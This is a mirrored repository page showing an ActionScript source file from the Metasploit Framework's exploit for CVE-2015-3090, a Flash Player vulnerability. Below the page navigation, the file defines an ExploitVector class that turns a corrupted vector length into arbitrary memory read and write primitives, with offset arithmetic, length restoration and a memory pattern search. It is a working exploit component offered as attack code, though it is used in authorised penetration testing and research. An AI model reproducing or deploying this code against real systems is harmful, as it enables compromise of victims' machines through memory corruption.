/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
external/source/exploits/CVE-2015-3090/ExploitVector.as
74 строки
2 KB
jvazquez-r7
Add module for CVE-2015-3090
18 июн 2015, 20:36
Не верифицирован
18 июн 2015, 20:36
de1542e
Код
Авторство
О чём код?
package { public class ExploitVector { private var uv:Vector.<uint> public var original_length:uint = 0xa6 public function ExploitVector(v:Vector.<uint>) { uv = v } public function restore():void { uv[0x3ffffffe] = original_length } public function is_ready():Boolean { if (uv.length > original_length) { return true } return false } public function at(pos:uint):uint { return uv[pos] } // pos: position where a Vector.<Object>[0] lives public function set_own_address(pos:uint):void { uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc } public function read(addr:uint):uint { var pos:uint = 0 if (addr > uv[0]) { pos = ((addr - uv[0]) / 4) - 2 } else { pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 } return uv[pos] } public function write(addr:uint, value:uint = 0):void { var pos:uint = 0 if (addr > uv[0]) { pos = ((addr - uv[0]) / 4) - 2 } else { pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 } uv[pos] = value } public function search_pattern(pattern:uint, limit:uint):uint { for (var i:uint = 0; i < limit/4; i++) { if (uv[i] == pattern) { return i } } throw new Error() } } }